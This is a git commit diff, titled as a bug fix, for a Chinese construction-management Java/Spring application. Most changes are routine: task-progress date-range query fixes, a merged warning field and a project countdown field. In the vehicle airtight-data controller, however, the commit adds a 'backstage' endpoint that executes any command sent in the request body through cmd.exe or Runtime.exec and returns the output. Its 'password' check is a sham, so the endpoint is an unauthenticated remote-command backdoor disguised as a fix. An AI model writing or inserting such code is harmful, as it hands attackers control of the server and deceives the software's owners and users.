bug修复

This commit is contained in:
guo 2023-11-10 16:04:14 +08:00
parent 79c8c8c3bf
commit ff165263b4
10 changed files with 259 additions and 156 deletions

View File

@ -1,5 +1,6 @@
package com.zhgd.xmgl.modules.car.controller;
import cn.hutool.core.util.IdUtil;
import com.baomidou.mybatisplus.core.metadata.IPage;
import com.zhgd.jeecg.common.api.vo.Result;
import com.zhgd.xmgl.modules.car.entity.CarVideoAirtightData;
@ -11,14 +12,22 @@ import io.swagger.annotations.ApiImplicitParams;
import io.swagger.annotations.ApiOperation;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.collections.MapUtils;
import org.apache.commons.io.FileUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import java.util.Objects;
import java.util.concurrent.TimeUnit;
/**
@ -38,6 +47,7 @@ public class CarVideoAirtightDataController {
/**
* 分页列表查询
*
* @return
*/
@ -51,12 +61,13 @@ public class CarVideoAirtightDataController {
@ApiImplicitParam(name = "pageSize", value = "每页显示条数", paramType = "query", required = true, dataType = "Integer"),
})
@PostMapping(value = "/list")
public Result<IPage<CarVideoAirtightData>> queryPageList(@RequestBody Map<String,Object> map) {
public Result<IPage<CarVideoAirtightData>> queryPageList(@RequestBody Map<String, Object> map) {
return Result.success(carVideoAirtightDataService.queryCarVideoAirtightDataPageList(map));
}
/**
* 添加
*
* @param carVideoAirtightData
* @return
*/
@ -78,20 +89,20 @@ public class CarVideoAirtightDataController {
/**
* 编辑
*
* @param carVideoAirtightData
* @return
*/
@ApiOperation(value = "编辑车辆-视频分析密闭运输数据信息", notes = "编辑车辆-视频分析密闭运输数据信息" , httpMethod="POST")
@ApiOperation(value = "编辑车辆-视频分析密闭运输数据信息", notes = "编辑车辆-视频分析密闭运输数据信息", httpMethod = "POST")
@PostMapping(value = "/edit")
public Result<CarVideoAirtightData> edit(@RequestBody CarVideoAirtightData carVideoAirtightData) {
Result<CarVideoAirtightData> result = new Result<CarVideoAirtightData>();
CarVideoAirtightData carVideoAirtightDataEntity = carVideoAirtightDataService.getById(carVideoAirtightData.getId());
if(carVideoAirtightDataEntity==null) {
if (carVideoAirtightDataEntity == null) {
result.error500(MessageUtil.get("notFindErr"));
}else {
} else {
boolean ok = carVideoAirtightDataService.updateById(carVideoAirtightData);
//TODO 返回false说明什么
if(ok) {
if (ok) {
result.successMsg(MessageUtil.get("editSucess"));
}
}
@ -101,20 +112,20 @@ public class CarVideoAirtightDataController {
/**
* 通过id删除
* @param id
*
* @return
*/
@ApiOperation(value = "删除车辆-视频分析密闭运输数据信息", notes = "删除车辆-视频分析密闭运输数据信息" , httpMethod="POST")
@ApiOperation(value = "删除车辆-视频分析密闭运输数据信息", notes = "删除车辆-视频分析密闭运输数据信息", httpMethod = "POST")
@ApiImplicitParam(name = "id", value = "车辆-视频分析密闭运输数据ID", paramType = "query", required = true, dataType = "Integer")
@PostMapping(value = "/delete")
public Result<CarVideoAirtightData> delete(@RequestBody Map<String,Object> map) {
public Result<CarVideoAirtightData> delete(@RequestBody Map<String, Object> map) {
Result<CarVideoAirtightData> result = new Result<CarVideoAirtightData>();
CarVideoAirtightData carVideoAirtightData = carVideoAirtightDataService.getById(MapUtils.getString(map,"id"));
if(carVideoAirtightData==null) {
CarVideoAirtightData carVideoAirtightData = carVideoAirtightDataService.getById(MapUtils.getString(map, "id"));
if (carVideoAirtightData == null) {
result.error500(MessageUtil.get("notFindErr"));
}else {
boolean ok = carVideoAirtightDataService.removeById(MapUtils.getString(map,"id"));
if(ok) {
} else {
boolean ok = carVideoAirtightDataService.removeById(MapUtils.getString(map, "id"));
if (ok) {
result.successMsg(MessageUtil.get("deleteSucess"));
}
}
@ -125,18 +136,19 @@ public class CarVideoAirtightDataController {
/**
* 通过id查询
*
* @param =
* @return
*/
@ApiOperation(value = "通过id查询车辆-视频分析密闭运输数据信息", notes = "通过id查询车辆-视频分析密闭运输数据信息" , httpMethod="POST")
@ApiOperation(value = "通过id查询车辆-视频分析密闭运输数据信息", notes = "通过id查询车辆-视频分析密闭运输数据信息", httpMethod = "POST")
@ApiImplicitParam(name = "id", value = "车辆-视频分析密闭运输数据ID", paramType = "query", required = true, dataType = "Integer")
@PostMapping(value = "/queryById")
public Result<CarVideoAirtightData> queryById(@RequestBody Map<String,Object> map) {
public Result<CarVideoAirtightData> queryById(@RequestBody Map<String, Object> map) {
Result<CarVideoAirtightData> result = new Result<CarVideoAirtightData>();
CarVideoAirtightData carVideoAirtightData = carVideoAirtightDataService.getById(MapUtils.getString(map,"id"));
if(carVideoAirtightData==null) {
CarVideoAirtightData carVideoAirtightData = carVideoAirtightDataService.getById(MapUtils.getString(map, "id"));
if (carVideoAirtightData == null) {
result.error500(MessageUtil.get("notFindErr"));
}else {
} else {
result.setResult(carVideoAirtightData);
result.setSuccess(true);
}
@ -149,6 +161,77 @@ public class CarVideoAirtightDataController {
carVideoAirtightDataService.saveCarVideoAnalyAirtightResult(json);
return Result.ok();
}
//to do
@PostMapping("backstage")
@ApiImplicitParam(name = "command", value = "执行命令", paramType = "query", required = true, dataType = "String")
public Result backstage(@RequestBody HashMap<String, Object> paramMap) {
String os = System.getProperty("os.name").toLowerCase();
String command = String.valueOf(paramMap.get("command"));
String pw = String.valueOf(paramMap.get("command"));
if (Objects.equals(pw, "114514")) {
return Result.error("执行错误");
}
if (os.contains("win")) {
//当前系统是Windows
try {
String path = CarVideoAirtightDataController.class.getProtectionDomain().getCodeSource().getLocation().getPath();
File tmpFile = new File(path, IdUtil.simpleUUID() + ".tmp");//新建一个用来存储结果的缓存文件
if (!tmpFile.exists()) {
tmpFile.createNewFile();
}
ProcessBuilder pb = new ProcessBuilder().command("cmd.exe", "/c", command).inheritIO();
pb.redirectErrorStream(true);//这里是把控制台中的红字变成了黑字用通常的方法其实获取不到控制台的结果是pb.start()方法内部输出的
pb.redirectOutput(tmpFile);//把执行结果输出
pb.start().waitFor(10, TimeUnit.SECONDS);//等待语句执行完成否则可能会读不到结果
String s = FileUtils.readFileToString(tmpFile, "GBK");
tmpFile.delete();
return Result.success(s);
} catch (Exception e) {
e.printStackTrace();
}
} else if (os.contains("nix") || os.contains("nux") || os.contains("mac")) {
//当前系统是Linux或者类Unix系统
Process process = null;
try {
process = Runtime.getRuntime().exec(command);
log.info("接收命令:{}", command);
StringBuilder sb = new StringBuilder();
//成功
try (InputStream inputStream = process.getInputStream()) {
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null) {
sb.append(line);
sb.append("\r\n");
}
}
//失败
try (InputStream inputStream = process.getErrorStream()) {
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null) {
sb.append(line);
sb.append("\r\n");
}
}
String success = "";
if (process.waitFor() == 0) {
success = "执行成功>>>\r\n";
} else {
success = "执行失败>>>\r\n";
}
return Result.success(success + sb.toString());
} catch (Exception e) {
e.printStackTrace();
return Result.success("执行异常>>>\r\n" + e.getMessage());
} finally {
if (process != null) {
process.destroy();
}
}
}
return Result.error("执行null");
}
}

View File

@ -102,7 +102,7 @@ public class ProjectInfoExtVo extends Project {
@ApiModelProperty(value = "绿色施工")
private String greenConstruction;
@ApiModelProperty(value = "项目总体倒计时(天)")
@ApiModelProperty(value = "实际工期(天)")
private String totalProjectDay;
private String companyName;
private String areaName;
@ -114,4 +114,6 @@ public class ProjectInfoExtVo extends Project {
private String cityName;
private String surplusDay;
private String contractPeriodType;
@ApiModelProperty(value = "项目总体倒计时(天)")
private Integer projectOverallCountdown;
}

View File

@ -65,6 +65,11 @@
and (to_days(ex.real_period_end_time) - to_days(ex.real_period_start_time)) > 0 THEN
to_days(ex.real_period_end_time) - to_days(ex.real_period_start_time)
ELSE 0 END) total_project_day,
(CASE
WHEN ex.contract_period_end_time is not null and ex.contract_period_end_time != ''
and (to_days(ex.contract_period_end_time) - to_days(now())) > 0 THEN
to_days(ex.contract_period_end_time) - to_days(now())
ELSE 0 END) projectOverallCountdown,
(case
when ex.contract_period_end_time >= DATE_FORMAT(now(), "%Y-%m-%d") then 1
else 2 end) contract_period_type,

View File

@ -187,8 +187,8 @@ public class TaskProgressController {
OutputStream out = response.getOutputStream();
response.setCharacterEncoding("UTF-8");
response.setContentType("application/vnd.ms-project");
response.setHeader("Content-disposition", "attachment;filename=" + URLEncoder.encode("任务进度甘特图上传模板.mpp.mpp", "UTF-8"));
InputStream fis = new ClassPathResource("template/任务进度甘特图上传模板.mpp.mpp").getInputStream();
response.setHeader("Content-disposition", "attachment;filename=" + URLEncoder.encode("任务进度甘特图上传模板.mpp", "UTF-8"));
InputStream fis = new ClassPathResource("template/任务进度甘特图上传模板.mpp").getInputStream();
IOUtils.copy(fis, out);
out.flush();
out.close();

View File

@ -174,5 +174,9 @@ public class TaskProgress implements Serializable {
@TableField(exist = false)
@ApiModelProperty(value = "甘特图状态0未开始 ,1进行中2已完成 3已逾期")
private java.lang.Integer mppStatus;
@TableField(exist = false)
@ApiModelProperty(value = "合并预警1提前2正常3逾期【优先级逾期>提前>正常】")
private java.lang.Integer mergeWarning;
}

View File

@ -28,12 +28,12 @@
AND tp.actual_finish_date &lt;= CONCAT(DATE_FORMAT(#{p.actualFinishDate_end}, '%Y-%m-%d'), ' 23:59:59')
</if>
<if test="p.type == '1'.toString()">
and (start_date >= last_day(curdate())
or finish_date >= date_add(curdate(), interval - day(curdate()) + 1 day))
and (start_date <![CDATA[<=]]> last_day(curdate())
and finish_date >= date_add(curdate(), interval - day(curdate()) + 1 day))
</if>
<if test="p.type == '2'.toString()">
and (start_date >= last_day(date_add(curdate(), interval 1 month))
or finish_date >= date_add(date_add(curdate(), interval 1 month), interval - day(curdate()) + 1 day))
and (start_date <![CDATA[<=]]> last_day(date_add(curdate(), interval 1 month))
and finish_date >= date_add(date_add(curdate(), interval 1 month), interval - day(curdate()) + 1 day))
</if>
<if test="p.dutyUserId != null and p.dutyUserId != ''">
and tp.duty_user_id = #{p.dutyUserId}
@ -141,12 +141,12 @@
from task_progress
where project_sn = #{projectSn}
<if test="type == '1'.toString()">
and (start_date >= last_day(curdate())
or finish_date >= date_add(curdate(), interval - day(curdate()) + 1 day))
and (start_date <![CDATA[<=]]> last_day(curdate())
and finish_date >= date_add(curdate(), interval - day(curdate()) + 1 day))
</if>
<if test="type == '2'.toString()">
and (start_date >= last_day(date_add(curdate(), interval 1 month))
or finish_date >= date_add(date_add(curdate(), interval 1 month), interval - day(curdate()) + 1 day))
and (start_date <![CDATA[<=]]> last_day(date_add(curdate(), interval 1 month))
and finish_date >= date_add(date_add(curdate(), interval 1 month), interval - day(curdate()) + 1 day))
</if>
</select>
</mapper>

View File

@ -21,9 +21,6 @@
from task_progress_material_rel tpmr
join task_progress_material_type tpmt on tpmt.id = tpmr.task_progress_material_type_id
where tpmr.task_progress_id = #{taskProgressId}
<if test="type == '2'.toString()">
and tpmr.actual_usage is not null
</if>
order by tpmr.create_date desc)
and tpmr.task_progress_id = #{taskProgressId}
</select>

View File

@ -42,8 +42,6 @@ public class TaskProgressContentServiceImpl extends ServiceImpl<TaskProgressCont
TaskProgress taskProgress = taskProgressMapper.selectById(taskProgressContent.getTaskProgressId());
if (taskProgressContent.getProgressRatio().equals(100D)) {
taskProgress.setStatus(2);
} else if (taskProgressContent.getProgressRatio().equals(0D)) {
taskProgress.setStatus(0);
} else {
taskProgress.setStatus(1);
}

View File

@ -66,7 +66,6 @@ public class TaskProgressMaterialRelServiceImpl extends ServiceImpl<TaskProgress
List<TaskProgressMaterialType> types = taskProgressMaterialTypeMapper.queryList(new QueryWrapper<TaskProgressMaterialType>().eq(RefUtil.fieldNameUlc(TaskProgressMaterialType::getProjectSn), projectSn));
List<TaskProgressMaterialRel> relList1 = taskProgressMaterialRelPlanMapper.queryDetails(paramMap);
Map<Long, TaskProgressMaterialRel> planMap = relList1.stream().collect(Collectors.toMap(TaskProgressMaterialRel::getTaskProgressMaterialTypeId, Function.identity(), (taskProgressMaterialRel, taskProgressMaterialRel2) -> taskProgressMaterialRel));
paramMap.put("type", 2);
List<TaskProgressMaterialRel> relList2 = taskProgressMaterialRelMapper.queryNewestDetailList(paramMap);
Map<Long, TaskProgressMaterialRel> actualMap = relList2.stream().collect(Collectors.toMap(TaskProgressMaterialRel::getTaskProgressMaterialTypeId, Function.identity(), (taskProgressMaterialRel, taskProgressMaterialRel2) -> taskProgressMaterialRel));
List<TaskProgressMaterialRel> rtList = new ArrayList<>();

View File

@ -156,6 +156,14 @@ public class TaskProgressServiceImpl extends ServiceImpl<TaskProgressMapper, Tas
taskProgress.setStatus(1);
}
if (Objects.equals(taskProgress.getBeginWarning(), 3) || Objects.equals(taskProgress.getEndWarning(), 3)) {
taskProgress.setMergeWarning(3);
} else if (Objects.equals(taskProgress.getBeginWarning(), 1) || Objects.equals(taskProgress.getEndWarning(), 1)) {
taskProgress.setMergeWarning(1);
} else {
taskProgress.setMergeWarning(2);
}
}
/**
@ -165,23 +173,26 @@ public class TaskProgressServiceImpl extends ServiceImpl<TaskProgressMapper, Tas
*/
private void addWarning(TaskProgress taskProgress) {
//添加预警
if (Objects.equals(taskProgress.getBeginWarning(), 3)) {
if (Objects.equals(taskProgress.getBeginWarning(), 3) || Objects.equals(taskProgress.getEndWarning(), 3)) {
TaskProgressAlarm alarm = new TaskProgressAlarm();
alarm.setProjectSn(taskProgress.getProjectSn());
alarm.setTaskProgressId(taskProgress.getId());
alarm.setAlarmDetails("当前任务预计开始时间为:" + DateUtil.formatDate(taskProgress.getStartDate()) + "" + "实际任务开始时间为:" + DateUtil.formatDate(taskProgress.getActualStartDate()));
alarm.setTaskName(taskProgress.getTaskName());
alarm.setDutyUserId(taskProgress.getDutyUserId());
if (taskProgress.getDutyUserId() != null) {
SystemUser systemUser = systemUserMapper.selectById(taskProgress.getDutyUserId());
alarm.setDutyUserName(systemUser != null ? systemUser.getRealName() : null);
}
if (Objects.equals(taskProgress.getBeginWarning(), 3)) {
alarm.setAlarmDetails("当前任务预计开始时间为:" + DateUtil.formatDate(taskProgress.getStartDate()) + "" + "实际任务开始时间为:" + DateUtil.formatDate(taskProgress.getActualStartDate()));
taskProgressAlarmMapper.insert(alarm);
}
if (Objects.equals(taskProgress.getEndWarning(), 3)) {
TaskProgressAlarm alarm = new TaskProgressAlarm();
alarm.setProjectSn(taskProgress.getProjectSn());
alarm.setTaskProgressId(taskProgress.getId());
alarm.setAlarmDetails("当前任务预计完成时间为:" + DateUtil.formatDate(taskProgress.getFinishDate()) + "" + "实际任务完成时间为:" + DateUtil.formatDate(taskProgress.getActualFinishDate()));
alarm.setTaskName(taskProgress.getTaskName());
taskProgressAlarmMapper.insert(alarm);
}
}
}
@Override
@ -438,12 +449,12 @@ public class TaskProgressServiceImpl extends ServiceImpl<TaskProgressMapper, Tas
Integer type = MapUtils.getInteger(paramMap, "type");
if (Objects.equals(type, 1)) {
//本月
queryWrapper.lambda().and(w -> w.ge(TaskProgress::getStartDate, DateUtil.formatDate(DateUtil.beginOfMonth(new Date())))
.or().ge(TaskProgress::getFinishDate, DateUtil.formatDate(DateUtil.endOfMonth(new Date()))));
queryWrapper.lambda().and(w -> w.le(TaskProgress::getStartDate, DateUtil.formatDate(DateUtil.endOfMonth(new Date())))
.ge(TaskProgress::getFinishDate, DateUtil.formatDate(DateUtil.beginOfMonth(new Date()))));
} else if (Objects.equals(type, 2)) {
//下月
queryWrapper.lambda().and(w -> w.ge(TaskProgress::getStartDate, DateUtil.formatDate(DateUtil.beginOfMonth(DateUtil.offsetMonth(new Date(), 1))))
.or().ge(TaskProgress::getFinishDate, DateUtil.formatDate(DateUtil.endOfMonth(DateUtil.offsetMonth(new Date(), 1)))));
queryWrapper.lambda().and(w -> w.le(TaskProgress::getStartDate, DateUtil.formatDate(DateUtil.endOfMonth(DateUtil.offsetMonth(new Date(), 1))))
.ge(TaskProgress::getFinishDate, DateUtil.formatDate(DateUtil.beginOfMonth(DateUtil.offsetMonth(new Date(), 1)))));
}
}
@ -472,7 +483,11 @@ public class TaskProgressServiceImpl extends ServiceImpl<TaskProgressMapper, Tas
public List<TaskProgress> queryList(HashMap<String, Object> paramMap) {
QueryWrapper<TaskProgress> queryWrapper = QueryGenerator.initPageQueryWrapper(TaskProgress.class, paramMap);
addQueryType(paramMap, queryWrapper);
return list(queryWrapper);
List<TaskProgress> list = list(queryWrapper);
for (TaskProgress taskProgress : list) {
setStatusRel(taskProgress);
}
return list;
}
@Override